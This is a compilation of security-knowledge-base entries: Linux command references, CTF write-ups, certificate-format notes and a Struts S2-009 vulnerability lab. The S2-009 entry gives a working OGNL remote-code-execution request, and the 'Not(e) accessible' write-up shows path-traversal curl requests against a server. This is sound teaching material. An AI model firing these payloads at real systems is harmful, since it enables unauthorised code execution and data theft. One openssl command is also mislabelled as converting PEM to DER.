下面的第一行中是 cp 命令和具体的参数(-r 是“递归”, -u 是“更新”,-v 是“详细”)。接下来的三行显示被复制文件的信息,最后一行显示命令行提示符。这样,只拷贝新的文件到我的存储设备上,我就使用 cp 的“更新”和“详细”选项。
通常来说,参数 `-r` 也可用更详细的风格 `--recursive`。但是以简短的方式,也可以这么连用 `-ruv`。
```shell
cp -r -u -v /usr/men/tmp ~/men/tmp
```
版本备份 `--backup=numbered` 参数意思为“我要做个备份,而且是带编号的连续备份”。所以一个备份就是 1 号,第二个就是 2 号,等等。
```shell
$ cp --force --backup=numbered test1.py test1.py
$ ls
test1.py test1.py.~1~ test1.py.~2~
```
如果把一个文件复制到一个目标文件中,而目标文件已经存在,那么,该目标文件的内容将被破坏。此命令中所有参数既可以是绝对路径名,也可以是相对路径名。通常会用到点`.`或点点`..`的形式。例如,下面的命令将指定文件复制到当前目录下:
```shell
cp ../mary/homework/assign .
```
所有目标文件指定的目录必须是己经存在的,cp命令不能创建目录。如果没有文件复制的权限,则系统会显示出错信息。
将文件file复制到目录`/usr/men/tmp`下,并改名为file1
```shell
cp file /usr/men/tmp/file1
```
将目录`/usr/men`下的所有文件及其子目录复制到目录`/usr/zh`中
```shell
cp -r /usr/men /usr/zh
```
交互式地将目录`/usr/men`中的以m打头的所有.c文件复制到目录`/usr/zh`中
```shell
cp -i /usr/men m*.c /usr/zh
```
我们在Linux下使用cp命令复制文件时候,有时候会需要覆盖一些同名文件,覆盖文件的时候都会有提示:需要不停的按Y来确定执行覆盖。文件数量不多还好,但是要是几百个估计按Y都要吐血了,于是折腾来半天总结了一个方法:
```shell
cp aaa/* /bbb
# 复制目录aaa下所有到/bbb目录下,这时如果/bbb目录下有和aaa同名的文件,需要按Y来确认并且会略过aaa目录下的子目录。
cp -r aaa/* /bbb
# 这次依然需要按Y来确认操作,但是没有忽略子目录。
cp -r -a aaa/* /bbb
# 依然需要按Y来确认操作,并且把aaa目录以及子目录和文件属性也传递到了/bbb。
\cp -r -a aaa/* /bbb
# 成功,没有提示按Y、传递了目录属性、没有略过目录。
```
递归强制复制目录到指定目录中覆盖已存在文件
```shell
cp -rfb ./* ../backup
# 将当前目录下所有文件,复制到当前目录的兄弟目录 backup 文件夹中
```
拷贝目录下的隐藏文件如 `.babelrc`
```shell
cp -r aaa/.* ./bbb
# 将 aaa 目录下的,所有`.`开头的文件,复制到 bbb 目录中。
cp -a aaa ./bbb/
# 记住后面目录最好的'/' 带上 `-a` 参数
```
复制到当前目录
```shell
cp aaa.conf ./
# 将 aaa.conf 复制到当前目录
```
|
sec-knowleage
|
# 17. 打印从 1 到最大的 n 位数
## 题目描述
输入数字 n,按顺序打印出从 1 到最大的 n 位十进制数。比如输入 3,则打印出 1、2、3 一直到最大的 3 位数即 999。
## 解题思路
由于 n 可能会非常大,因此不能直接用 int 表示数字,而是用 char 数组进行存储。
使用回溯法得到所有的数。
```java
public void print1ToMaxOfNDigits(int n) {
if (n <= 0)
return;
char[] number = new char[n];
print1ToMaxOfNDigits(number, 0);
}
private void print1ToMaxOfNDigits(char[] number, int digit) {
if (digit == number.length) {
printNumber(number);
return;
}
for (int i = 0; i < 10; i++) {
number[digit] = (char) (i + '0');
print1ToMaxOfNDigits(number, digit + 1);
}
}
private void printNumber(char[] number) {
int index = 0;
while (index < number.length && number[index] == '0')
index++;
while (index < number.length)
System.out.print(number[index++]);
System.out.println();
}
```
|
sec-knowleage
|
insmod
===
将给定的模块加载到内核中
## 补充说明
**insmod命令** 用于将给定的模块加载到内核中。Linux有许多功能是通过模块的方式,在需要时才载入kernel。如此可使kernel较为精简,进而提高效率,以及保有较大的弹性。这类可载入的模块,通常是设备驱动程序。
### 语法
```shell
insmod(选项)(参数)
```
### 选项
```shell
-f:不检查目前kernel版本与模块编译时的kernel版本是否一致,强制将模块载入;
-k:将模块设置为自动卸除;
-m:输出模块的载入信息;
-o<模块名称>:指定模块的名称,可使用模块文件的文件名;
-p:测试模块是否能正确地载入kernel;
-s:将所有信息记录在系统记录文件中;
-v:执行时显示详细的信息;
-x:不要汇出模块的外部符号;
-X:汇出模块所有的外部符号,此为预设置。
```
### 参数
内核模块:指定要加载的内核模块文件。
### 实例
加载RAID1阵列级别模块,如下所示:
```shell
[root@localhost boot]# insmod /lib/modules/2.6.
18-8.el5/kernel/drivers/md/raid1.ko
[root@localhost boot]# lsmod | grep raid1
raid1 25153 0
```
从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系。
|
sec-knowleage
|
# Netflix and Script
Category: Steganography
## Description
> I found this movie while scouring Netflix for something to watch, can you figure out what the hell is going on with this movie and if it's good or not?
An `*.avi` file was attached.
## Solution
From a brief inspection of the file, we get a five and a half movie of flickering black and white screens. Therefore, the obvious next step is to convert it to binary and see what we get. In this case - nothing much.
Another option is to use the frames as pixels and try to create an image with them - however this doesn't yield any result either.
Let's try to map identify the unique frames in the movie and inspect them:
```python
from collections import defaultdict
from pprint import pprint as pp
import numpy
import hashlib
import cv2
frames = set()
vidcap = cv2.VideoCapture('netflix_and_script.avi')
success, image = vidcap.read()
while success:
frame = image.view(numpy.uint8)
frame_hash = hashlib.md5(frame).hexdigest()
if frame_hash not in frames:
cv2.imwrite("frame_u_{}.jpg".format(len(frames)), image)
frames.add(frame_hash)
success, image = vidcap.read()
pp(frames)
```
Running the script, we get three(!) unique frames:
```console
root@kali:/media/sf_CTFs/technion/Netflix_and_Script/netflix_and_script# python3 solve.py
{'348555c176cf73a8c601723d3c9e0a3c',
'4e1210b1572c1c043895026cef620105',
'b94a50342ad1ea4b9819d3fd3894db2f'}
```
One of the frames contained the flag: `cstechnion{St1ll_b3ttEr_7h4n_tw1ligh7}`.
|
sec-knowleage
|
iptstate
===
显示iptables的工作状态
## 补充说明
**iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。
### 语法
```shell
iptstate(选项)
```
### 选项
```shell
-b:指定输出信息的排序规则;
-d:不动态地改变窗口大小;
-f:过滤本地回送信息;
-l:将ip地址解析为域名;
-L:隐藏于DNS查询相关状态;
-r:指定刷新屏幕的频率;
-R:反序排列;
-s:单次运行模式;
-t:显示汇总信息。
```
|
sec-knowleage
|
### PEM证书格式
PEM 以 `-----BEGIN` 开头,以 `-----END` 结尾,中间包含 ASN.1 格式的数据。ASN.1 是经过 base64 转码的二进制数据。[Wikipedia](https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail) 上有完整 PEM 文件的例子。
用 Python 3 和 PyCryptodome 库可以与 PEM 文件交互并提取相关数据。例如我们想提取出模数 `n`:
```py
#!/usr/bin/env python3
from Crypto.PublicKey import RSA
with open("certificate.pem","r") as f:
key = RSA.import_key(f.read())
print(key.n)
```
### DER证书格式
DER 是 ASN.1 类型的二进制编码。后缀 `.cer` 或 `.crt` 的证书通常包含 DER 格式的数据,但 Windows 也可能会接受 PEM 格式的数据。
我们可以用 `openssl` 将 PEM 文件转化为 DER 文件:
```bash
openssl x509 -inform DER -in certificate.der > certificate.pem
```
现在问题被简化成了如何读取 PEM 文件,所以我们可以重复使用上一小节中的 Python 代码。
### 其他格式转换证书格式
```bash
openssl x509 -outform der -in certificate.pem -out certificate.der
openssl x509 -inform der -in certificate.cer -out certificate.pem
```
|
sec-knowleage
|
##Steganography 3 (Stegano, 100p)
```
We can get desktop capture!
Read the secret message.
```
###PL
[ENG](#eng-version)
Dostajemy obraz:

Na podstawie którego chcemy uzyskać flagę. Pierwszym krokiem jest odtworzenie binarki otwartej w hexedytorze. Zrobiliśmy to za pomocą OCRa a następnie ręcznego poprawiania błędów. Wynikiem jest program [elf](elf.bin).
Uruchomienie go daje w wyniku wiadomość `Flood fill` zakodowaną jako base64. Po pewnym czasie wpadliśmy wreszcie na rozwiązanie, które polegało na użyciu "wypłeniania kolorem" na początkowym obrazie:

co daje nam flage:
`SECCON{the_hidden_message_ever}`
### ENG version
We get a picture:

And we want to get a flag based on this. First step is to recreate the binary open in hexeditor. We used OCR and then fixed defects by hand. This way we got [elf binary](elf.bin).
Running it give a message `Flood fill` encoded as base64. After a while we finally figured the solution, which was to use "flood fill" on the initial picture:

which gives us a flag:
`SECCON{the_hidden_message_ever}`
|
sec-knowleage
|
enable
===
启动或禁用shell内建命令
### 概要
enable [-a] [-dnps] [-f filename] [name ...]
### 主要用途
- 禁用一到多个内建命令。
- 启用一到多个内建命令。
- 直接调用与禁用的内建命令同名且在`$PATH`路径下找到的外部命令。
- 打印所有内建命令,无论是否禁用。
- 打印处于启用状态的内建命令。
- 打印处于禁用状态的内建命令。
- 打印处于启用状态的posix标准内建命令。
- 打印处于禁用状态的posix标准内建命令。
- 打印posix标准内建命令,无论是否禁用。
- 从动态库中加载内建命令。
- 移除从动态库中加载的内建命令。
#### 选项
```shell
-a 打印所有内建命令,无论是否禁用。
-d 移除从动态库中加载的内建命令。
-n 禁用内建命令或显示已禁用的内建命令。
-p 以可复用格式打印。
-s 只显示处于启动状态的posix标准内建命令。
-f 动态库中加载内建命令。
-ns 打印处于禁用状态的posix标准内建命令。
-as 打印posix标准内建命令,无论是否禁用。
```
#### 参数
filename:动态库文件名。
name(可选):内建命令,可以为多个。
#### 返回值
enable返回成功,除非name不是内建命令或有错误发生。
### 例子(以下内容限于篇幅不再列出返回值部分)
```shell
# posix special builtin
# 假设没有任何内建命令被禁用
# 禁用两个posix标准内建命令
enable -n set source
# 打印处于禁用状态的posix标准内建命令
enable -ns
# 打印posix标准内建命令,无论是否禁用。
enable -as
# 打印处于启用状态的posix标准内建命令
enable -s
```
```shell
# 假设没有任何内建命令被禁用
# 禁用一到多个内建命令
enable -n echo pwd
# 打印所有内建命令,无论是否禁用。
enable -a
# 打印处于启用状态的内建命令
enable
# 打印处于禁用状态的内建命令
enable -n
# 启用一到多个内建命令
enable pwd
```
### Q&A
Q:请问`-f`,`-d`,`-p`的演示呢?
A:说明一下,`-f`与`-d`限于个人能力没有找到合适的例子,如果您有更好的例子欢迎提pr;
经过我验证`-p`选项是否使用好像没有区别,可以比较```enable -p|cat -A```和```enable|cat -A``` 有什么区别。(注:`cat -A`用于显示不可见字符)
Q:是否可以禁用`enable`自己?之后还能禁用或启用内建命令吗?
A:可以;不能。
### 注意
> linux shell命令执行时,shell总是先在自己的shell builtin中查找该命令,如果找到则执行该命令;如果找不到该命令,则会从环境变量`$PATH`指定的路径中依次去查找待执行的命令。看起来好像没有办法编写用户自己的命令来替代shell builtin命令。幸运的是,有了`enable`命令我们就能做到了。
1. 关于同名命令调用的优先级的知识,请先参考`builtin`命令的*提示*部分,然后继续阅读下面部分;
当内建命令`echo`没有禁用时,如果要调用外部命令`echo`,只能这样写`/usr/bin/echo`;
当我们禁用了`echo`后,优先级顺序变成了这样:
函数 > 外部命令
如果执行命令的环境没有`echo`函数,那么调用的`echo`就是外部命令。
2. 该命令是bash内建命令,相关的帮助信息请查看 `help` 命令。
|
sec-knowleage
|
# 学习资源
## Books
- 《以太坊技术详解与实战》-- 以太坊创始人、首席科学家 Vitalik Buterin 倾力推荐
- 待补充
## papers
- 智能合约 [https://github.com/hzysvilla/Academic_Smart_Contract_Papers](https://github.com/hzysvilla/Academic_Smart_Contract_Papers)
- 区块链(包括智能合约)[https://github.com/jianyu-niu/blockchain_conference_paper](https://github.com/jianyu-niu/blockchain_conference_paper)
- 待补充
## Security Tools
> 搬运自 [https://consensys.github.io/smart-contract-best-practices/security_tools/](https://consensys.github.io/smart-contract-best-practices/security_tools/)
### Visualization
- [Solidity Visual Auditor](https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor) - This extension contributes security centric syntax and semantic highlighting, a detailed class outline and advanced Solidity code insights to Visual Studio Code
- [Sūrya](https://github.com/ConsenSys/surya) - Utility tool for smart contract systems, offering a number of visual outputs and information about the contracts' structure. Also supports querying the function call graph.
- [Solgraph](https://github.com/raineorshine/solgraph) - Generates a DOT graph that visualizes function control flow of a Solidity contract and highlights potential security vulnerabilities.
- [EVM Lab](https://github.com/ethereum/evmlab) - Rich tool package to interact with the EVM. Includes a VM, Etherchain API, and a trace-viewer.
- [ethereum-graph-debugger](https://github.com/fergarrui/ethereum-graph-debugger) - A graphical EVM debugger. Displays the entire program control flow graph.
- [Piet](https://github.com/slockit/piet) - Web application helping understand smart contract architectures. Offers graphical representation and inspection of smart contracts as well as a markdown documentation generator.
### Static and Dynamic Analysis
- [MythX](https://mythx.io) - MythX is a professional-grade cloud service that uses symbolic analysis and input fuzzing to [detect common security bugs](https://medium.com/consensys-diligence/detecting-the-top-4-critical-smart-contract-vulnerabilities-with-mythx-9c568d7db7a6) and [verify the correctness of smart contract code](https://medium.com/coinmonks/advanced-smart-contract-security-verification-in-remix-9630b43695e5). Using MythX requires an API key from [mythx.io](https://mythx.io).
- [Mythril](https://github.com/ConsenSys/mythril) - The Swiss army knife for smart contract security.
- [Slither](https://github.com/trailofbits/slither) - Static analysis framework with detectors for many common Solidity issues. It has taint and value tracking capabilities and is written in Python.
- [Contract-Library](https://contract-library.com) - Decompiler and security analysis tool for all deployed contracts.
- [Echidna](https://github.com/trailofbits/echidna) - The only available fuzzer for Ethereum software. Uses property testing to generate malicious inputs that break smart contracts.
- [Manticore](https://github.com/trailofbits/manticore) - Dynamic binary analysis tool with [EVM support](https://asciinema.org/a/haJU2cl0R0Q3jB9wd733LVosL).
- [Oyente](https://github.com/melonproject/oyente) - Analyze Ethereum code to find common vulnerabilities, based on this [paper](http://www.comp.nus.edu.sg/~loiluu/papers/oyente.pdf).
- [Securify](https://github.com/eth-sri/securify2) - Fully automated online static analyzer for smart contracts, providing a security report based on vulnerability patterns.
- [SmartCheck](https://tool.smartdec.net) - Static analysis of Solidity source code for security vulnerabilities and best practices.
- [Octopus](https://github.com/quoscient/octopus) - Security Analysis tool for Blockchain Smart Contracts with support of EVM and (e)WASM.
- [sFuzz](https://sfuzz.github.io/) - Efficient fuzzer inspired from AFL to find common vulnerabilities.
- [Vertigo](https://github.com/JoranHonig/vertigo) - Mutation Testing for Ethereum Smart Contracts.
### Weakness OSSClassifcation & Test Cases
- [SWC-registry](https://github.com/SmartContractSecurity/SWC-registry/) - SWC definitions and a large repository of crafted and real-world samples of vulnerable smart contracts.
- [SWC Pages](https://smartcontractsecurity.github.io/SWC-registry/) - The SWC-registry repo published on Github Pages
### Test Coverage
- [solidity-coverage](https://github.com/sc-forks/solidity-coverage) - Code coverage for Solidity testing.
### Linters and Formatters
Linters improve code quality by enforcing rules for style and composition, making code easier to read and review.
- [Ethlint](https://github.com/duaraghav8/Ethlint) - Yet another Solidity linting.
- [Solhint](https://github.com/protofire/solhint) - A linter for Solidity that provides both Security and Style Guide validations.
- [Prettier](https://prettier.io/) + [Solidity Plugin](https://github.com/prettier-solidity/prettier-plugin-solidity) - Prettier enforces basic style conventions in your code.
|
sec-knowleage
|
# [Doing] 网络流量分析(NTA)简述
## 概念
## 攻击类型
## 检测思路
## 相关开源项目
- WatchAD
- https://github.com/0Kee-Team/WatchAD/blob/master/README_zh-cn.md
- 域安全入侵感知系统,由360开源
## 整体方案
## 发展现状分析与展望
## 总结
|
sec-knowleage
|
# Not(e) accessible
Web
## Description:
> We love notes. They make our lifes more structured and easier to manage! In 2018 everything has to be digital, and that's why we built our very own note-taking system using micro services: Not(e) accessible! For security reasons, we generate a random note ID and password for each note.
>
> Recently, we received a report through our responsible disclosure program which claimed that our access control is bypassable...
## Solution:
The website offers a service where one can enter a note.
After entering the requested note (e.g. "Test"), the response contains the following information:
```
Your note ID is 8156135140806036359
Your note PW is 0cbc6611f5540bd0809a388dc95a615b
Link to view note: http://35.207.132.47:90/view.php?id=8156135140806036359&pw=0cbc6611f5540bd0809a388dc95a615b
```
Some observations:
* When entering the same text twice, the ID changes but the PW does not.
* Searching for the PW, it looks like it is the MD5 of the note.
* The website source code has the following comment: `<!-- My source is at /src.tgz -->`
The next step is obviously to try and download the source code, and indeed - such an archive exists.
After extracting it, we get:
```ruby
# File path: backend/app.rb:
require 'sinatra'
set :bind, '0.0.0.0'
get '/get/:id' do
File.read("./notes/#{params['id']}.note")
end
get '/store/:id/:note' do
File.write("./notes/#{params['id']}.note", params['note'])
puts "OK"
end
get '/admin' do
File.read("flag.txt")
end
```
```php
# File path: frontend/index.php
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="/assets/css/bootstrap.min.css">
<title>Not(e) accessible</title>
<!-- My source is at /src.tgz -->
<style>
html {
position: relative;
min-height: 100%;
}
body {
padding-top: 5rem;
margin-bottom: 60px; /* Margin bottom by footer height */
}
.starter-template {
padding: 3rem 1.5rem;
text-align: center;
}
.footer {
position: absolute;
bottom: 0;
width: 100%;
height: 60px; /* Set the fixed height of the footer here */
line-height: 60px; /* Vertically center the text there */
background-color: #f5f5f5;
}
</style>
</head>
<body>
<nav class="navbar navbar-expand-md navbar-dark bg-dark fixed-top">
<a class="navbar-brand" href="/">Not(e) accessible</a>
</nav>
<main role="main" class="container">
<div class="starter-template">
<h1>Not(e) accessible :-(</h1>
<p class="lead">This is good service. It is not(e) accessible!</p>
</div>
<div class="container">
<form method="post">
<div class="form-group">
<label for="note">Enter your text</label>
<textarea class="form-control" name="note" id="note" placeholder="Your note here!" rows="3"></textarea>
</div>
<button type="submit" class="btn btn-primary" name="submit" value="submit">Submit note!</button>
</form>
</div>
<?php
require_once "config.php";
if(isset($_POST['submit']) && isset($_POST['note']) && $_POST['note']!="") {
$note = $_POST['note'];
if(strlen($note) > 1000) {
die("ERROR! - Text too long");
}
if(!preg_match("/^[a-zA-Z]+$/", $note)) {
die("ERROR! - Text does not match /^[a-zA-Z]+$/");
}
$id = random_int(PHP_INT_MIN, PHP_INT_MAX);
$pw = md5($note);
# Save password so that we can check it later
file_put_contents("./pws/$id.pw", $pw);
file_get_contents($BACKEND . "store/" . $id . "/" . $note);
echo '<div class="shadow-sm p-3 mb-5 bg-white rounded">';
echo "<p>Your note ID is $id<br>";
echo "Your note PW is $pw</p>";
echo "<a href='/view.php?id=$id&pw=$pw'>Click here to view your note!</a>";
echo '</div>';
}
?>
</main>
<footer class="footer">
<div class="container">
<span class="text-muted">With love from <a href="https://twitter.com/gehaxelt">@gehaxelt</a> for the 35C3 Junior CTF and ESPR :-)</span>
</div>
</footer>
<script src="/assets/js/jquery-3.3.1.slim.min.js"></script>
<script src="/assets/js/popper.min.js"></script>
<script src="/assets/js/bootstrap.min.js"></script>
</body>
</html>
```
```php
# File path: frontend/view.php:
<?php header("Content-Type: text/plain"); ?>
<?php
require_once "config.php";
if(isset($_GET['id']) && isset($_GET['pw'])) {
$id = $_GET['id'];
if(file_exists("./pws/" . (int) $id . ".pw")) {
if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) {
echo file_get_contents($BACKEND . "get/" . $id);
} else {
die("ERROR!");
}
} else {
die("ERROR!");
}
}
?>
```
The backend catches the immediate attention due to the following logic:
```ruby
get '/admin' do
File.read("flag.txt")
end
```
So, we need to find a way to either access `/admin` or directly access `flag.txt`.
Back to `view.php`:
```php
if(file_exists("./pws/" . (int) $id . ".pw")) {
if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) {
echo file_get_contents($BACKEND . "get/" . $id);
}
...
}
```
The `file_get_contents` call looks like it is vulnerable to path traversal - if we get it to be `../admin` then we should get the flag. However, how to we bypass the checks above? Easy - with the help of the type casting!
Since `$id` is cast to an integer, if we send a string which starts with a number, the PHP engine will ignore anything that comes after it. So we just need a valid ID-PW pair, and we send the ID as `<ID>/../../admin`. The first two checks should pass since they will only take into account the ID, and the third line will actually tread the ID as a folder.
```console
root@kali:/media/sf_CTFs/35c3ctf/Note_accessible# curl -s 'http://35.207.132.47:90/' -H 'Content-Type: application/x-www-form-urlencoded' --data 'note=Test&submit=submit' | grep "Your note ID"
<div class="shadow-sm p-3 mb-5 bg-white rounded"><p>Your note ID is 140357144873505230<br>Your note PW is 0cbc6611f5540bd0809a388dc95a615b</p><a href='/view.php?id=140357144873505230&pw=0cbc6611f5540bd0809a388dc95a615b'>Click here to view your note!</a></div> </main>
root@kali:/media/sf_CTFs/35c3ctf/Note_accessible# curl -s 'http://35.207.132.47:90/view.php?pw=0cbc6611f5540bd0809a388dc95a615b&id=140357144873505230/../../admin'
35C3_M1Cr0_S3rvices_4R3_FUN!
```
The flag: 35C3_M1Cr0_S3rvices_4R3_FUN!
|
sec-knowleage
|
.TH "CREATELANG" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
createlang \- 定义一种新的 PostgreSQL 过程语言
.SH SYNOPSIS
.sp
\fBcreatelang\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\fB \fR\fR]\fR \fB\fIlangname\fB\fR\fR [ \fR\fB\fIdbname\fB \fR\fR]\fR
\fBcreatelang\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\fB \fR\fR]\fR \fR\fR \fB--list\fR\fR | \fR\fB-l\fR\fR\fR \fB\fIdbname\fB\fR
.SH "DESCRIPTION 描述"
.PP
\fBcreatelang\fR 是一个用于向 PostgreSQL 数据库增加新的编程语言的工具。 createlang 可以处理所有 PostgreSQL 版本缺省就提供的语言,但是不能处理其它方面提供的语言。
.PP
尽管可以用 SQL 命令直接增加后端编程语言,我们还是推荐使用 createlang, 因为它进行了一些检查而且更容易使用。参阅 CREATE LANGUAGE [\fBcreate_language\fR(7)] 获取更多信息。
.SH "OPTIONS 选项"
.PP
\fBcreatelang\fR 接受下列命令行参数:
.TP
\fB\fIlangname\fB\fR
声明要被定义的过程编程语言的名称。
.TP
\fB[-d] \fIdbname\fB\fR
.TP
\fB[--dbname] \fIdbname\fB\fR
声明要向哪个数据库增加该语言。 缺省是使用和当前系统用户同名地数据库。
.TP
\fB-e\fR
.TP
\fB--echo\fR
执行的时候显示所执行的 SQL 命令。
.TP
\fB-l\fR
.TP
\fB--list\fR
显示一个在目标数据库里已经安装的语言的列表。
.TP
\fB-L \fIdirectory\fB\fR
声明该语言的解释器所在的目录。 这个目录通常是自动发现的。这个选项主要用于调试。
.PP
.PP
\fBcreatelang\fR 还接受下列命令行参数作为联接参数:
.TP
\fB-h \fIhost\fB\fR
.TP
\fB--host \fIhost\fB\fR
声明运行服务器的机器的主机名。 如果数值以斜扛开头,则它被用做到 Unix 域套接字的路径。
.TP
\fB-p \fIport\fB\fR
.TP
\fB--port \fIport\fB\fR
声明服务器侦听着等待连接的互联网 TCP 端口或一个本地 Unix 域套接字文件扩展(描述符)。
.TP
\fB-U \fIusername\fB\fR
.TP
\fB--username \fIusername\fB\fR
进行联接的用户名。
.TP
\fB-W\fR
.TP
\fB--password\fR
强制口令提示符。
.PP
.SH "ENVIRONMENT 环境"
.TP
\fBPGDATABASE\fR
.TP
\fBPGHOST\fR
.TP
\fBPGPORT\fR
.TP
\fBPGUSER\fR
缺省连接参数。
.SH "DIAGNOSTICS 诊断"
.PP
多数错误信息是自解释的。如果没有,带着 \fB--echo\fR 参数运行 \fBcreatelang\fR 然后在相应的SQL命令下面检查细节。
.SH "NOTES 注意"
.PP
使用 \fBdroplang\fR(1) 删除一种语言。
.SH "EXAMPLES 例子"
.PP
把 pltcl 语言安装到数据库 template1里:
.sp
.nf
$ \fBcreatelang pltcl template1\fR
.sp
.fi
.SH "SEE ALSO 参见"
\fBdroplang\fR(1), CREATE LANGUAGE [\fBcreate_language\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# S2-009 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.1.0 - 2.3.1.1
Details: http://struts.apache.org/docs/s2-009.html
## Setup
```
docker compose build
docker compose up -d
```
## Reference
> This vulnerability is derived from s2-003, s2-005. If you want to understand the principle of the vulnerability, you need to read the instructions of s2-005: https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
[Struts2 vulnerability analysis](https://www.t00ls.net/viewthread.php?tid=21197), as mentioned in the article, the method of introducing OGNL may not only appear in this vulnerability, but may also appear in other Java applications.
Struts2's repair method for s2-003 is to prohibit static method calls. In s2-005, this restriction can be bypassed directly through OGNL. For the `#` number, use the code `\u0023` or `\43` to bypass; then s2-005's repair is forbidden \ and others special symbols that prevent users submit backslashes.
However, if a parameter `example` is accepted in the current action, this parameter will be sent to the OGNL expression. So, we can put the OGNL expression code in the `example` parameter and then execute it by `/helloword.acton?example=<OGNL statement>&(example)('xxx')=1`, then bypass defense of special characters such as `#`, `\`.
## Exploit
The environment is a struts2 "feature display" website named `Struts Showcase`. We need find an action that accepts the parameter, and type is string.
First decompress `S2-009.war`. We can see that source code is in the `WEB-INF/src` directory, I generally look for ajax related code.
Found one in`WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java`:
```java
public class Example5Action extends ActionSupport {
private static final long serialVersionUID = 2111967621952300611L;
private String name;
private Integer age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
@Override
public String execute() throws Exception {
return SUCCESS;
}
}
```
The code is simple, it accepts the name parameter and calls setName to assign it to the private property `this.name`, which is in line with our requirement. Then we go to `WEB-INF/src/java/struts-ajax.xml` to see the URL routing setting:
```xml
<package name="ajax" extends="struts-default">
...
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
</action>
...
</package>
```
We can see `name=example5`, so access the controller by visiting `http://your-ip:8080/ajax/example5.action`. Then put the OGNL exploit code in the name parameter and access the URL:
```
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
The POC don't have display, so we use `touch /tmp/success` command, and we found that the `success` file has been created to prove that expliot succeeded.

|
sec-knowleage
|
### 内核提权概述
内核提权指的是普通用户可以获取到 root 用户的权限,访问原先受限的资源。这里从两种角度来考虑如何提权
- 改变自身:通过改变自身进程的权限,使其具有 root 权限。
- 改变别人:通过影响高权限进程的执行,使其完成我们想要的功能。
|
sec-knowleage
|
# 23. 链表中环的入口结点
[NowCoder](https://www.nowcoder.com/practice/253d2c59ec3e4bc68da16833f79a38e4?tpId=13&tqId=11208&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
一个链表中包含环,请找出该链表的环的入口结点。要求不能使用额外的空间。
## 解题思路
使用双指针,一个快指针 fast 每次移动两个节点,一个慢指针 slow 每次移动一个节点。因为存在环,所以两个指针必定相遇在环中的某个节点上。
假设环入口节点为 y1,相遇所在节点为 z1。
假设快指针 fast 在圈内绕了 N 圈,则总路径长度为 x+Ny+(N-1)z。z 为 (N-1) 倍是因为快慢指针最后已经在 z1 节点相遇了,后面就不需要再走了。
而慢指针 slow 总路径长度为 x+y。
因为快指针是慢指针的两倍,因此 x+Ny+(N-1)z = 2(x+y)。
我们要找的是环入口节点 y1,也可以看成寻找长度 x 的值,因此我们先将上面的等值分解为和 x 有关:x=(N-2)y+(N-1)z。
上面的等值没有很强的规律,但是我们可以发现 y+z 就是圆环的总长度,因此我们将上面的等式再分解:x=(N-2)(y+z)+z。这个等式左边是从起点x1 到环入口节点 y1 的长度,而右边是在圆环中走过 (N-2) 圈,再从相遇点 z1 再走过长度为 z 的长度。此时我们可以发现如果让两个指针同时从起点 x1 和相遇点 z1 开始,每次只走过一个距离,那么最后他们会在环入口节点相遇。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/bb7fc182-98c2-4860-8ea3-630e27a5f29f.png" width="500"/> </div><br>
```java
public ListNode EntryNodeOfLoop(ListNode pHead) {
if (pHead == null || pHead.next == null)
return null;
ListNode slow = pHead, fast = pHead;
do {
fast = fast.next.next;
slow = slow.next;
} while (slow != fast);
fast = pHead;
while (slow != fast) {
slow = slow.next;
fast = fast.next;
}
return slow;
}
```
|
sec-knowleage
|
lastlog
===
显示系统中所有用户最近一次登录信息
## 补充说明
**lastlog命令** 用于显示系统中所有用户最近一次登录信息。
lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志`/var/log/lastlog`的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示` **Never logged** `。注意需要以root身份运行该命令。
### 语法
```shell
lastlog(选项)
```
### 选项
```shell
-b<天数>:显示指定天数前的登录信息;
-h:显示召集令的帮助信息;
-t<天数>:显示指定天数以来的登录信息;
-u<用户名>:显示指定用户的最近登录信息。
```
### 实例
```shell
lastlog
Username Port From Latest
root pts/0 221.6.45.34 Tue Dec 17 09:40:48 +0800 2013
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
operator **Never logged in**
games **Never logged in**
gopher **Never logged in**
ftp **Never logged in**
nobody **Never logged in**
vcsa **Never logged in**
ntp **Never logged in**
sshd **Never logged in**
nscd **Never logged in**
ldap **Never logged in**
postfix **Never logged in**
